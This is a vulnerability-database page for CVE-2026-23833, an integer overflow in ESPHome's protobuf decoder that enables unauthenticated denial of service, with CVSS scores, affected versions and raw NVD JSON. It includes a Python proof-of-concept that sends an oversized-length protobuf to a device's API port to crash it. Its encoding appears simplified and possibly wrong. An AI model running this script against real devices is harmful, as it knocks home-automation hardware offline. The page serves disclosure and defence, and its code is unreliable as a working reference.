Security Vulnerability Report
中文
CVE-2026-23833 CVSS 7.5 HIGH

CVE-2026-23833

Published: 2026-01-19 18:16:06
Last Modified: 2026-03-04 15:02:36

Description

ESPHome is a system to control microcontrollers remotely through Home Automation systems. In versions 2025.9.0 through 2025.12.6, an integer overflow in the API component's protobuf decoder allows denial-of-service attacks when API encryption is not used. The bounds check `ptr + field_length > end` in `components/api/proto.cpp` can overflow when a malicious client sends a large `field_length` value. This affects all ESPHome device platforms (ESP32, ESP8266, RP2040, LibreTiny). The overflow bypasses the out-of-bounds check, causing the device to read invalid memory and crash. When using the plaintext API protocol, this attack can be performed without authentication. When noise encryption is enabled, knowledge of the encryption key is required. Users should upgrade to ESPHome 2025.12.7 or later to receive a patch, enable API encryption with a unique key per device, and follow the Security Best Practices.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:esphome:esphome:*:*:*:*:*:*:*:* - VULNERABLE
ESPHome >= 2025.9.0
ESPHome <= 2025.12.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-23833 PoC - ESPHome Protobuf Decoder Integer Overflow This PoC demonstrates the integer overflow in ESPHome's protobuf decoder. Note: This is for educational purposes only. Do not use without authorization. """ import socket import struct import sys def create_malicious_protobuf(): """ Create a malicious protobuf message with oversized field_length to trigger integer overflow in ptr + field_length check. """ # Protobuf varint encoding for a very large field_length # Using 0xFF repeated to create maximum varint value oversized_length = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\x01' # Construct protobuf message with oversized field message = b'\x08' # Field 1, wire type 0 (varint) message += oversized_length # Oversized length value return message def send_exploit(target_ip, target_port=6053): """ Send the malicious payload to ESPHome device. Default port is 6053 (ESPHome native API). """ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: print(f"[*] Connecting to {target_ip}:{target_port}") sock.connect((target_ip, target_port)) # Send hello packet first (for plaintext API) hello_packet = create_hello_packet() sock.send(hello_packet) print("[*] Sent Hello packet") # Send malicious protobuf message payload = create_malicious_protobuf() sock.send(payload) print("[*] Sent malicious protobuf payload") print("[*] Payload length:", len(payload), "bytes") # Wait for response try: response = sock.recv(1024) print(f"[*] Received response: {response.hex()}") except socket.timeout: print("[*] No response received (target may have crashed)") except Exception as e: print(f"[!] Error: {e}") finally: sock.close() def create_hello_packet(): """ Create initial Hello packet for ESPHome API connection. """ # Simplified Hello packet for plaintext API packet = b'\x00' # Message type: Hello # Add minimal protobuf payload packet += b'\x08\x01' # field 1, version varint return packet if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") print(f"Example: {sys.argv[0]} 192.168.1.100 6053") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 6053 send_exploit(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23833", "sourceIdentifier": "[email protected]", "published": "2026-01-19T18:16:06.007", "lastModified": "2026-03-04T15:02:35.963", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ESPHome is a system to control microcontrollers remotely through Home Automation systems. In versions 2025.9.0 through 2025.12.6, an integer overflow in the API component's protobuf decoder allows denial-of-service attacks when API encryption is not used. The bounds check `ptr + field_length > end` in `components/api/proto.cpp` can overflow when a malicious client sends a large `field_length` value. This affects all ESPHome device platforms (ESP32, ESP8266, RP2040, LibreTiny). The overflow bypasses the out-of-bounds check, causing the device to read invalid memory and crash. When using the plaintext API protocol, this attack can be performed without authentication. When noise encryption is enabled, knowledge of the encryption key is required. Users should upgrade to ESPHome 2025.12.7 or later to receive a patch, enable API encryption with a unique key per device, and follow the Security Best Practices."}, {"lang": "es", "value": "ESPHome es un sistema para controlar microcontroladores remotamente a través de sistemas de automatización del hogar. En las versiones 2025.9.0 a 2025.12.6, un desbordamiento de entero en el decodificador protobuf del componente API permite ataques de denegación de servicio cuando no se utiliza el cifrado de API. La comprobación de límites `ptr + field_length &gt; end` en `components/api/proto.cpp` puede desbordarse cuando un cliente malicioso envía un valor `field_length` grande. Esto afecta a todas las plataformas de dispositivos ESPHome (ESP32, ESP8266, RP2040, LibreTiny). El desbordamiento omite la comprobación fuera de límites, lo que provoca que el dispositivo lea memoria no válida y falle. Cuando se utiliza el protocolo API de texto plano, este ataque puede realizarse sin autenticación. Cuando el cifrado de ruido está habilitado, se requiere conocimiento de la clave de cifrado. Los usuarios deben actualizar a ESPHome 2025.12.7 o posterior para recibir un parche, habilitar el cifrado de API con una clave única por dispositivo y seguir las Mejores Prácticas de Seguridad."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:esphome:esphome:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.9.0", "versionEndExcluding": "2025.12.7", "matchCriteriaId": "F8E39B6F-1F3D-4F50-B25F-5582CCDDD22D"}]}]}], "references": [{"url": "https://esphome.io/guides/security_best_practices", "source": "[email protected]", "tags": ["Technical Description"]}, {"url": "https://github.com/esphome/esphome/commit/69d7b6e9210390051318bd8e6410 ... (truncated)